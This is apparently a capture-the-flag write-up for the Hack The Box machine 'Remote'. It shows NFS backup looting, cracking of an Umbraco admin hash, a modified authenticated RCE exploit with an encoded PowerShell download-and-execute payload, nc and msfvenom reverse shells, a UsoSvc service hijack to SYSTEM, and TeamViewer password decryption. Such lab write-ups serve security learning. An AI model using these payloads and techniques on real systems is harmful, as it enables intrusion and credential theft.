Remote is a box recently added to the OSCP-like list. I think it’s a suitable addition since it’s not too difficult.
Enumeration
A lot of ports open, and the ones open tell us it’s a Windows box (135, 139, 445) or at least running Samba. There’s NFS service running on 2049. I briefly ran crackmapexec just to check the domain and OS version.
root@kali:~/CTF/HTB/Remote# crackmapexec smb 10.10.10.180 SMB 10.10.10.180 445 REMOTE [*] Windows 10.0 Build 17763 x64 (name:REMOTE) (domain:remote) (signing:False) (SMBv1:False) root@kali:~/CTF/HTB/Remote# crackmapexec winrm 10.10.10.180 WINRM 10.10.10.180 5985 NONE [*] None (name:10.10.10.180) (domain:None) WINRM 10.10.10.180 5985 NONE [*] http://10.10.10.180:5985/wsman
SMB
Let’s try a null enumeration.
root@kali:~/CTF/HTB/Remote# smbmap -H 10.10.10.180 /usr/bin/smbmap:1033: SyntaxWarning: "is" with a literal. Did you mean "=="? if len(sys.argv) is 1: [+] Finding open SMB ports.... [!] Authentication error on 10.10.10.180 [!] Authentication error on 10.10.10.180
I changed this as suggested
root@kali:~/CTF/HTB/Remote# awk 'NR==1033' /usr/bin/smbmap if len(sys.argv) == 1: root@kali:~/CTF/HTB/Remote# smbmap -H 10.10.10.180 [+] Finding open SMB ports.... [!] Authentication error on 10.10.10.180 [!] Authentication error on 10.10.10.180 root@kali:~/CTF/HTB/Remote# smbmap -u anonymous -H 10.10.10.180 [+] Finding open SMB ports.... [!] Authentication error on 10.10.10.180 [!] Authentication error on 10.10.10.180 root@kali:~/CTF/HTB/Remote# smbmap -u anonymous -d remote -H 10.10.10.180 [+] Finding open SMB ports.... [!] Authentication error on 10.10.10.180 [!] Authentication error on 10.10.10.180
Nothing unfortunately.
FTP
I tried enumerating FTP but couldn’t list anything with anonymous access. IppSec here tries to upload a file but fails. Moving on.
Web 47001
There’s a Webserver on TCP 47001 but the default page is 404. nikto found nothing
root@kali:~/CTF/HTB/Remote# nikto -h http://10.10.10.180:47001 - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 10.10.10.180 + Target Hostname: 10.10.10.180 + Target Port: 47001 + Start Time: 2020-12-03 22:27:10 (GMT8) --------------------------------------------------------------------------- + Server: Microsoft-HTTPAPI/2.0 + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + No CGI Directories found (use '-C all' to force check all possible dirs) + 7864 requests: 0 error(s) and 3 item(s) reported on remote host + End Time: 2020-12-03 22:28:44 (GMT8) (94 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Web 80
The landing page looks like some blog.
A look at the page source tells us Umbraco CMS is running
<link rel="stylesheet" href="/css/umbraco-starterkit-style.css" />
but we still need to discover its version. I Googled for a way to discover its version from outside. However the suggested URL
http://10.10.10.180/umbraco/plugins/umbracoContour/UmbracoContour.config
loaded 404. nikto returned this
root@kali:~/CTF/HTB/Remote# nikto -h http://10.10.10.180 - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 10.10.10.180 + Target Hostname: 10.10.10.180 + Target Port: 80 + Start Time: 2020-12-03 22:21:26 (GMT8) --------------------------------------------------------------------------- + Server: No banner retrieved + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + Server banner has changed from '' to 'Microsoft-IIS/10.0' which may suggest a WAF, load balancer or proxy is in place + No CGI Directories found (use '-C all' to force check all possible dirs) + Web Server returns a valid response with junk HTTP methods, this may cause false positives. + OSVDB-3092: /home/: This might be interesting... + OSVDB-3092: /intranet/: This might be interesting... + /umbraco/ping.aspx: Umbraco ping page found + 7863 requests: 0 error(s) and 7 item(s) reported on remote host + End Time: 2020-12-03 22:25:26 (GMT8) (240 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
I also ran gobuster but it had way too many hits and I cancelled it when I got a shell. As per nikto /umbraco loaded a login page
We have no emails or domains to test though. Moving on to NFS
NFS
Run showmount to list all the shares
root@kali:~/CTF/HTB/Remote# showmount -e 10.10.10.180 Export list for 10.10.10.180: /site_backups (everyone)
This means that basically any IP can mount the share. IppSec adds that you can try -a
if you want to see a list of hosts which mounted the share. The name site_backups look interesting too. Let’s mount it (be sure to create the mount point first)
root@kali:~/CTF/HTB/Remote# mount -t nfs -o vers=2 10.10.10.180:/site_backups /mnt/remote -o nolock root@kali:~/CTF/HTB/Remote# df -h Filesystem Size Used Avail Use% Mounted on udev 2.6G 0 2.6G 0% /dev tmpfs 529M 8.1M 521M 2% /run /dev/mapper/kali--vg-root 34G 15G 18G 47% / tmpfs 2.6G 41M 2.6G 2% /dev/shm tmpfs 5.0M 0 5.0M 0% /run/lock tmpfs 2.6G 0 2.6G 0% /sys/fs/cgroup /dev/sda1 236M 85M 139M 39% /boot tmpfs 529M 24K 529M 1% /run/user/0 10.10.10.180:/site_backups 30G 12G 19G 40% /mnt/remote root@kali:~/CTF/HTB/Remote# ls -lah /mnt/remote total 22K drwx------ 2 4294967294 4294967294 4.0K Feb 24 2020 . drwxr-xr-x 3 root root 4.0K Dec 3 22:42 .. drwx------ 2 4294967294 4294967294 64 Feb 21 2020 App_Browsers drwx------ 2 4294967294 4294967294 4.0K Feb 21 2020 App_Data drwx------ 2 4294967294 4294967294 4.0K Feb 21 2020 App_Plugins drwx------ 2 4294967294 4294967294 64 Feb 21 2020 aspnet_client drwx------ 2 4294967294 4294967294 48K Feb 21 2020 bin drwx------ 2 4294967294 4294967294 8.0K Feb 21 2020 Config drwx------ 2 4294967294 4294967294 64 Feb 21 2020 css -rwx------ 1 4294967294 4294967294 152 Nov 2 2018 default.aspx -rwx------ 1 4294967294 4294967294 89 Nov 2 2018 Global.asax drwx------ 2 4294967294 4294967294 4.0K Feb 21 2020 Media drwx------ 2 4294967294 4294967294 64 Feb 21 2020 scripts drwx------ 2 4294967294 4294967294 8.0K Feb 21 2020 Umbraco drwx------ 2 4294967294 4294967294 4.0K Feb 21 2020 Umbraco_Client drwx------ 2 4294967294 4294967294 4.0K Feb 21 2020 Views -rwx------ 1 4294967294 4294967294 28K Feb 20 2020 Web.config
Interesting so this appears to be a backup of the webroot folder. Maybe we can discover the Umbraco CMS version here? I Googled “check umbraco version” and found these where the second link revealed that it was stored in web.config
Also you can check in the web.config for the umbracoConfigurationStatus key under appSettings:
<add key=”umbracoConfigurationStatus” value=”4.5.2″ />
so I greped for appSettings
root@kali:/mnt/remote# grep -n appSettings Web.config 39: <appSettings> 65: </appSettings>
and checked those lines where I saw
<add key=”umbracoConfigurationStatus” value=”7.12.4″ />
searchsploit tells us there’s an exploit for that.
root@kali:/mnt/remote# searchsploit umbraco --------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path --------------------------------------------------------------------------------------------------------------- --------------------------------- Umbraco CMS - Remote Command Execution (Metasploit) | windows/webapps/19671.rb Umbraco CMS 7.12.4 - (Authenticated) Remote Code Execution | aspx/webapps/46153.py Umbraco CMS SeoChecker Plugin 1.9.2 - Cross-Site Scripting | php/webapps/44988.txt --------------------------------------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results Papers: No Results
46153 is promising and indeed the version looks a little familiar because I did a box which had the same vulnerability but this exploits explicitly requires creds which we don’t have. I did a search for “get credentials from umbraco database -remote” and found this. So let’s grep for connectionString
root@kali:/mnt/remote# grep connectionString -A5 -B5 -n Web.config 61- 62- <add key="Umbraco.ModelsBuilder.Enable" value="true" /> 63- <add key="Umbraco.ModelsBuilder.ModelsMode" value="PureLive" /> 64- 65- </appSettings> 66: <connectionStrings> 67- <remove name="umbracoDbDSN" /> 68: <add name="umbracoDbDSN" connectionString="Data Source=|DataDirectory|\Umbraco.sdf;Flush Interval=1;" providerName="System.Data.SqlServerCe.4.0" /> 69- <!-- Important: If you're upgrading Umbraco, do not clear the connection string / provider name during your web.config merge. --> 70: </connectionStrings> 71- 72- <system.data> 73- <DbProviderFactories> 74- <remove invariant="System.Data.SqlServerCe.4.0" /> 75- <add name="Microsoft SQL Server Compact Data Provider 4.0" invariant="System.Data.SqlServerCe.4.0" description=".NET Framework Data Provider for Microsoft SQL Server Compact" type="System.Data.SqlServerCe.SqlCeProviderFactory, System.Data.SqlServerCe" /> -- 96- change the connection string named "DefaultConnection" to connect to an instance 97- of SQL Server (including SQL Azure and SQL Compact) instead of to SQL Server Express. 98- --> 99- <sessionState mode="InProc" customProvider="DefaultSessionProvider"> 100- <providers> 101: <add name="DefaultSessionProvider" type="System.Web.Providers.DefaultSessionStateProvider, System.Web.Providers, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" connectionStringName="DefaultConnection" /> 102- </providers> 103- </sessionState> 104- <pages enableEventValidation="false"> 105- <controls> 106- <add tagPrefix="asp" namespace="System.Web.UI" assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35" />
Unable to make sense of this I googled and found this where the connectionString entry was similar to mine
Your connection string clearly shows that you’re using default SQL Server CE database (
Umbraco.sdf
). You can find theUmbraco.sdf
file in the/App_Data
folder.
Great let’s check that SDF file
root@kali:/mnt/remote# ls -lah App_Data/ total 248K drwx------ 2 4294967294 4294967294 4.0K Feb 21 2020 . drwx------ 2 4294967294 4294967294 4.0K Feb 24 2020 .. drwx------ 2 4294967294 4294967294 64 Feb 21 2020 cache drwx------ 2 4294967294 4294967294 4.0K Feb 21 2020 Logs drwx------ 2 4294967294 4294967294 4.0K Feb 21 2020 Models drwx------ 2 4294967294 4294967294 64 Feb 21 2020 packages drwx------ 2 4294967294 4294967294 4.0K Feb 21 2020 TEMP -rwx------ 1 4294967294 4294967294 36K Feb 20 2020 umbraco.config -rwx------ 1 4294967294 4294967294 1.9M Feb 20 2020 Umbraco.sdf
Let’s see how to open it. I Googled “linux open sdf file -remote” and found this. I didn’t want to try Visual Studio so I tried another Google result
root@kali:~/CTF/HTB/Remote/site_backup# curl -F files[]=@Umbraco.sdf https://www.rebasedata.com/api/v1/convert?outputFormat=csv -o Umbraco.zip % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 1920k 100 81 100 1920k 5 130k 0:00:16 0:00:14 0:00:02 21 root@kali:~/CTF/HTB/Remote/site_backup# file Umbraco.zip Umbraco.zip: JSON data root@kali:~/CTF/HTB/Remote/site_backup# cat Umbraco.zip {"error":"Unknown error while converting. Contact the support to find out more."}
No luck here. We can try to use strings
to read it though.
root@kali:~/CTF/HTB/Remote/site_backup# strings Umbraco.sdf | head -n 100 Administratoradmindefaulten-US Administratoradmindefaulten-USb22924d5-57de-468e-9df4-0961cf6aa30d Administratoradminb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}en-USf8512f97-cab1-4a4b-a49f-0a2054c47a1d adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-USfeb1a998-d3bf-406a-b30b-e269d7abdf50 adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-US82756c26-4321-4d27-b429-1b5c7c4f882f smithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749-a054-27463ae58b8e ssmithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749 ssmithssmith@htb.local8+xXICbPe7m5NQ22HfcGlg==RF9OLinww9rd2PmaKUpLteR6vesD2MtFaBKe1zL5SXA={"hashAlgorithm":"HMACSHA256"}ssmith@htb.localen-US3628acfb-a62c-4ab0-93f7-5ee9724c8d32 @{pv qpkaj dAc0^A\pW (1&a$ "q!Q umbracoDomains domainDefaultLanguage umbracoDomains domainRootStructureID umbracoDomains domainName umbracoDomains PK_umbracoDomains PK_umbracoDomains umbracoDomains PK_umbracoDomains umbracoDomains FK_umbracoDomains_umbracoNode_id PK_structure umbracoNode __SysObjects umbracoLog umbracoLog umbracoLog userId umbracoLog NodeId umbracoLog Datestamp (GETDATE()) umbracoLog DF__umbracoLog__0000000000000179 Datestamp umbracoLog logHeader umbracoLog logComment umbracoLog PK_umbracoLog PK_umbracoLog umbracoLog PK_umbracoLog umbracoLog IX_umbracoLog __SysObjects cmsMacro cmsMacro cmsMacro uniqueId cmsMacro macroUseInEditor ('0') cmsMacro DF__cmsMacro__000000000000018E macroUseInEditor cmsMacro macroRefreshRate ('0') cmsMacro DF__cmsMacro__0000000000000193 macroRefreshRate cmsMacro macroAlias cmsMacro macroName cmsMacro macroScriptType cmsMacro macroScriptAssembly cmsMacro macroXSLT cmsMacro cmsMacro macroCacheByPage ('1') cmsMacro DF__cmsMacro__00000000000001A2 macroCacheByPage cmsMacro macroCachePersonalized ('0') cmsMacro DF__cmsMacro__00000000000001A7 macroCachePersonalized cmsMacro macroDontRender ('0') cmsMacro DF__cmsMacro__00000000000001AC macroDontRender cmsMacro macroPython
Wow interesting the top few lines look like some kind of hash. Let’s put it in a file and crack it with john.
root@kali:~/CTF/HTB/Remote/site_backup# cat admin.hash admin:b8be16afba8c314ad33d812f22a04991b90e2aaa root@kali:~/CTF/HTB/Remote/site_backup# john --wordlist=/usr/share/wordlists/rockyou.txt --rules admin.hash Warning: detected hash type "Raw-SHA1", but the string is also recognized as "Raw-SHA1-AxCrypt" Use the "--format=Raw-SHA1-AxCrypt" option to force loading these as that type instead Warning: detected hash type "Raw-SHA1", but the string is also recognized as "Raw-SHA1-Linkedin" Use the "--format=Raw-SHA1-Linkedin" option to force loading these as that type instead Warning: detected hash type "Raw-SHA1", but the string is also recognized as "ripemd-160" Use the "--format=ripemd-160" option to force loading these as that type instead Warning: detected hash type "Raw-SHA1", but the string is also recognized as "has-160" Use the "--format=has-160" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (Raw-SHA1 [SHA1 256/256 AVX2 8x]) Warning: no OpenMP support for this hash type, consider --fork=4 Press 'q' or Ctrl-C to abort, almost any other key for status baconandcheese (admin) 1g 0:00:00:05 DONE (2020-12-03 23:42) 0.1818g/s 1786Kp/s 1786Kc/s 1786KC/s baconandchipies1..bacon918 Use the "--show --format=Raw-SHA1" options to display all of the cracked passwords reliably Session completed
Great we got the password.
RCE
Testing the email admin@htb.local for CMS login and the password I was able to login
Ok now we can try 46153. I modified these lines
# Execute a calc for the PoC
payload = '<?xml version="1.0"?><xsl:stylesheet version="1.0" \
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" \
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">\
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() \
{ string cmd = ""; System.Diagnostics.Process proc = new System.Diagnostics.Process();\
proc.StartInfo.FileName = "ping.exe"; proc.StartInfo.Arguments = "10.10.14.78";\
proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; \
proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } \
</msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/>\
</xsl:template> </xsl:stylesheet> ';
login = "admin@htb.local"
password="baconandcheese"
host = "http://10.10.10.180";
Basically I replaced StartInfo.FileName with ping.exe and the arguments with my IP. Ran the exploit and I got pingbacks
root@kali:~/CTF/HTB/Remote# ./46153.py Start [] End root@kali:~/CTF/HTB/Remote# tcpdump -i tun0 icmp tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes 00:02:03.906758 IP 10.10.10.180 > 10.10.14.78: ICMP echo request, id 1, seq 1, length 40 00:02:03.906782 IP 10.10.14.78 > 10.10.10.180: ICMP echo reply, id 1, seq 1, length 40 00:02:05.704864 IP 10.10.10.180 > 10.10.14.78: ICMP echo request, id 1, seq 2, length 40 00:02:05.705014 IP 10.10.14.78 > 10.10.10.180: ICMP echo reply, id 1, seq 2, length 40 00:02:07.256119 IP 10.10.10.180 > 10.10.14.78: ICMP echo request, id 1, seq 3, length 40 00:02:07.256157 IP 10.10.14.78 > 10.10.10.180: ICMP echo reply, id 1, seq 3, length 40 00:02:08.361348 IP 10.10.10.180 > 10.10.14.78: ICMP echo request, id 1, seq 4, length 40 00:02:08.361369 IP 10.10.14.78 > 10.10.10.180: ICMP echo reply, id 1, seq 4, length 40
RCE to shell
With this we can get a PS shell easily. I used the PS download and execute method encoded in base64.
root@kali:~/CTF/HTB/Remote# echo 'IEX(New-Object Net.WebClient).downloadString("http://10.10.14.78/rshell.ps1")' | iconv -t UTF-16LE | base64 -w0 SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADcAOAAvAHIAcwBoAGUAbABsAC4AcABzADEAIgApAAoA
So my payload became
# Execute a calc for the PoC
payload = '<?xml version="1.0"?><xsl:stylesheet version="1.0" \
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" \
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">\
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() \
{ string cmd = ""; System.Diagnostics.Process proc = new System.Diagnostics.Process();\
proc.StartInfo.FileName = "powershell.exe"; proc.StartInfo.Arguments = "-E SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADcAOAAvAHIAcwBoAGUAbABsAC4AcABzADEAIgApAAoA";\
proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; \
proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } \
</msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/>\
</xsl:template> </xsl:stylesheet> ';
and I could get a shell
root@kali:~/CTF/HTB/Remote# ./46153.py Start [] root@kali:~/CTF/HTB/Remote# python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.10.10.180 - - [05/Dec/2020 00:32:28] "GET /rshell.ps1 HTTP/1.1" 200 - root@kali:~/CTF/HTB/Remote# rlwrap -r nc -nlvp 443 listening on [any] 443 ... connect to [10.10.14.78] from (UNKNOWN) [10.10.10.180] 49684 Windows PowerShell running as user REMOTE$ on REMOTE Copyright (C) 2015 Microsoft Corporation. All rights reserved. PS C:\windows\system32\inetsrv>
Post-exploitation
Here I learned something about checking .NET Framework version. Typically I’ll just check C:\Windows\Microsoft.NET\Framework but that actually tells you up to 4.0 only. Newer versions don’t appear there. The proper way to do it is this way for versions above 4.0
PS C:\Users> reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full CBS REG_DWORD 0x1 Install REG_DWORD 0x1 InstallPath REG_SZ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ Release REG_DWORD 0x70bf6 Servicing REG_DWORD 0x0 TargetVersion REG_SZ 4.0.0 Version REG_SZ 4.7.03190 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full\1033
Here it tells us 4.7 is installed. Earlier .NET framework versions can also be checked via Registry with
PS C:\Users> reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP" HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\CDF HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v2.0.50727 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v3.0 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v3.5 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4.0
With this I ran the latest version of winpeas (which required version > 4.5), privesccheck and powerup. I also resolved a impacket-smbserver problem
[*] Incoming connection (10.10.10.180,49695) [*] AUTHENTICATE_MESSAGE (\kali,REMOTE) [-] processRequest (0x1,Missing required parameter 'digestmod'.) [*] Handle: Missing required parameter 'digestmod'. [*] Closing down connection (10.10.10.180,49695)
with pip install impacket --upgrade --user
Escalate via configurable service
Priv esc isn’t too hard on this box. The enum scripts show that UsoSvc, run by LocalSystem could be modified and restarted by the user
Name : UsoSvc ImagePath : C:\Windows\system32\svchost.exe -k netsvcs -p User : LocalSystem Status : Running UserCanStart : True UserCanRestart : True
I tried PowerUp’s Invoke-ServiceAbuse
but it didn’t work. So I had to do it manually.
PS C:\Users\Public\Downloads> sc.exe config UsoSvc binpath= "C:\Users\Public\Downloads\nc.exe 10.10.14.78 443 -e powershell.exe" [SC] ChangeServiceConfig SUCCESS PS C:\Users\Public\Downloads> sc.exe qc UsoSvc [SC] QueryServiceConfig SUCCESS SERVICE_NAME: UsoSvc TYPE : 20 WIN32_SHARE_PROCESS START_TYPE : 2 AUTO_START (DELAYED) ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Users\Public\Downloads\nc.exe 10.10.14.78 443 -e powershell.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Update Orchestrator Service DEPENDENCIES : rpcss SERVICE_START_NAME : LocalSystem PS C:\Users\Public\Downloads> sc.exe stop UsoSvc SERVICE_NAME: UsoSvc TYPE : 30 WIN32 STATE : 3 STOP_PENDING (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN) WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x3 WAIT_HINT : 0x7530 PS C:\Users\Public\Downloads> sc.exe query UsoSvc SERVICE_NAME: UsoSvc TYPE : 20 WIN32_SHARE_PROCESS STATE : 1 STOPPED WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x0 WAIT_HINT : 0x0 PS C:\Users\Public\Downloads> net start UsoSvc
Alternatively sc.exe start UsoSvc
is actually better since any failure will be reported while net start
is silent. Both give you a SYSTEM shell
root@kali:~/CTF/HTB/Remote# rlwrap -r nc -nlvp 443 listening on [any] 443 ... connect to [10.10.14.78] from (UNKNOWN) [10.10.10.180] 49708 Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. PS C:\Windows\system32> whoami whoami nt authority\system
Non-persistent shell
Unfortunately, the shell doesn’t last for long. If you ran sc.exe start instead you’ll see this error
PS C:\Users\Public\Downloads> sc.exe start UsoSvc [SC] StartService FAILED 1053: The service did not respond to the start or control request in a timely fashion.
and the shell dies after about 30s or so. I tried to do what J3rryBl4nks did here with an msfvenom payload, this time specifying format exe-service instead
root@kali:~/CTF/HTB/Remote/PE# msfvenom -a x64 --platform windows -p windows/x64/shell_reverse_tcp LHOST=10.10.14.78 LPORT=443 -f exe-service -o shell443_x64.exe No encoder or badchars specified, outputting raw payload Payload size: 460 bytes Final size of exe-service file: 48640 bytes Saved as: shell443_x64.exe
but got this error when starting the service.
PS C:\Users\Public\Downloads> sc.exe start UsoSvc [SC] StartService FAILED 1083: The executable program that this service is configured to run in does not implement the service.
This was strange since I didn’t encounter the problem with nc.exe I googled the error and found this way to resolve it (using this to add the service to the Reg-Multi-SZ entry)
PS C:\Users\Public\Downloads> Get-ItemProperty -Path Registry::"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" -Name LocalServiceAndNoImpersonation | Select -ExpandProperty LocalServiceAndNoImpersonation SCardSvr BthHFSrv QWAVE fdrespub upnphost SSDPSRV SensrSvc PS C:\Users\Public\Downloads> Set-ItemProperty Registry::"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" -Name LocalServiceAndNoImpersonation -Value $values PS C:\Users\Public\Downloads> Set-ItemProperty : Requested registry access is not allowed. At line:1 char:1 + Set-ItemProperty Registry::"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Win ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : PermissionDenied: (HKEY_LOCAL_MACH...Version\Svchost:String) [Set-ItemProperty], Securit yException + FullyQualifiedErrorId : System.Security.SecurityException,Microsoft.PowerShell.Commands.SetItemPropertyCommand
In the end the only way I found to make it persistent was to quickly start another shell before it dies.
PS C:\Windows\system32> Start-Process "C:\Users\Public\Downloads\nc.exe" -ArgumentList "10.10.14.78 443 -e powershell.exe" Start-Process "C:\Users\Public\Downloads\nc.exe" -ArgumentList "10.10.14.78 443 -e powershell.exe" root@kali:~/CTF/HTB/Remote# rlwrap -r nc -nlvp 443 listening on [any] 443 ... connect to [10.10.14.78] from (UNKNOWN) [10.10.10.180] 49729 Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. PS C:\Windows\system32> whoami whoami nt authority\system
Escalate to Administrator via pillaged creds
Another way to is to first notice there are non-Microsoft services running
+------+------------------------------------------------+------+ | TEST | SERVICES > Non-default Services | INFO | +------+------------------------------------------------+------+ | DESC | List all registered services and filter out the ones | | | that are built into Windows. It does so by parsing | | | the target executable's metadata. | +------+-------------------------------------------------------+ [*] Found 7 result(s). Name : ssh-agent DisplayName : OpenSSH Authentication Agent ImagePath : C:\Windows\System32\OpenSSH\ssh-agent.exe User : LocalSystem StartMode : Disabled Name : TeamViewer7 DisplayName : TeamViewer 7 ImagePath : "C:\Program Files (x86)\TeamViewer\Version7\TeamViewer_Service.exe" User : LocalSystem StartMode : Automatic PS C:\Users> Get-Process -Name TeamViewer_Service Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName ------- ------ ----- ----- ------ -- -- ----------- 1012 24 5512 19220 2024 0 TeamViewer_Service
There’s an MSF script to do it but I rather not touch that, we can check out its reference though which gives us a Python script to decode the password stored in the registry. From the MSF enum script, we see it looks for these locations for the password
locations = [
{ value: 'OptionsPasswordAES', description: 'Options Password' },
{ value: 'SecurityPasswordAES', description: 'Unattended Password' }, # for < v9.x
{ value: 'SecurityPasswordExported', description: 'Exported Unattended Password' },
{ value: 'ServerPasswordAES', description: 'Backend Server Password' }, # unused according to TeamViewer
{ value: 'ProxyPasswordAES', description: 'Proxy Password' },
{ value: 'LicenseKeyAES', description: 'Perpetual License Key' }, # for <= v14
]
When we check the registry entry, just one of those keys are present namely SecurityPasswordAES
PS C:\Program Files (x86)\TeamViewer> Get-ItemProperty -Path Registry::"HKLM\SOFTWARE\WOW6432Node\TeamViewer\Version7" StartMenuGroup : TeamViewer 7 InstallationDate : 2020-02-20 InstallationDirectory : C:\Program Files (x86)\TeamViewer\Version7 Always_Online : 1 Security_ActivateDirectIn : 0 Version : 7.0.43148 ClientIC : 301094961 PK : {191, 173, 42, 237...} SK : {248, 35, 152, 56...} LastMACUsed : {, 005056B9F482} MIDInitiativeGUID : {514ed376-a4ee-4507-a28b-484604ed0ba0} MIDVersion : 1 ClientID : 1769137322 CUse : 1 LastUpdateCheck : 1584564540 UsageEnvironmentBackup : 1 SecurityPasswordAES : {255, 155, 28, 115...} MultiPwdMgmtIDs : {admin} MultiPwdMgmtPWDs : {357BC4C8F33160682B01AE2D1C987C3FE2BAE09455B94A1919C4CD4984593A77} Security_PasswordStrength : 3 PSPath : Microsoft.PowerShell.Core\Registry::HKLM\SOFTWARE\WOW6432Node\TeamViewer\Version7 PSParentPath : Microsoft.PowerShell.Core\Registry::HKLM\SOFTWARE\WOW6432Node\TeamViewer PSChildName : Version7 PSProvider : Microsoft.PowerShell.Core\Registry PS C:\Program Files (x86)\TeamViewer> Get-ItemProperty -Path Registry::"HKLM\SOFTWARE\WOW6432Node\TeamViewer\Version7" | Select -ExpandProperty SecurityPasswordAES 255 155 28 115 214 107 206 49 172 65 62 174 19 27 70 79 88 47 108 226 209 225 243 218 126 141 55 107 38 57 78 91
These numbers are in decimal though whereas the script expects hexa and there’s an error when I ran the script
root@kali:~/CTF/HTB/Remote/PE# ./decrypt_tv.py Traceback (most recent call last): File "./decrypt_tv.py", line 20, in raw_un = AESCipher(key).decrypt(iv, ciphertext) TypeError: AESCipher() takes no arguments
easily fixed when you google to change to __init__
. The former can be achieved in Bash with
root@kali:~/CTF/HTB/Remote/PE# printf '%x\n' $(< password_aes) ff 9b 1c 73 d6 6b ce 31 ac 41 3e ae 13 1b 46 4f 58 2f 6c e2 d1 e1 f3 da 7e 8d 37 6b 26 39 4e 5b root@kali:~/CTF/HTB/Remote/PE# printf '%x\n' $(< password_aes) | tr -d '\n' ff9b1c73d66bce31ac413eae131b464f582f6ce2d1e1f3da7e8d376b26394e5b
This can then be edited into the script
hex_str_cipher = "ff9b1c73d66bce31ac413eae131b464f582f6ce2d1e1f3da7e8d376b26394e5b"
then run to get the password
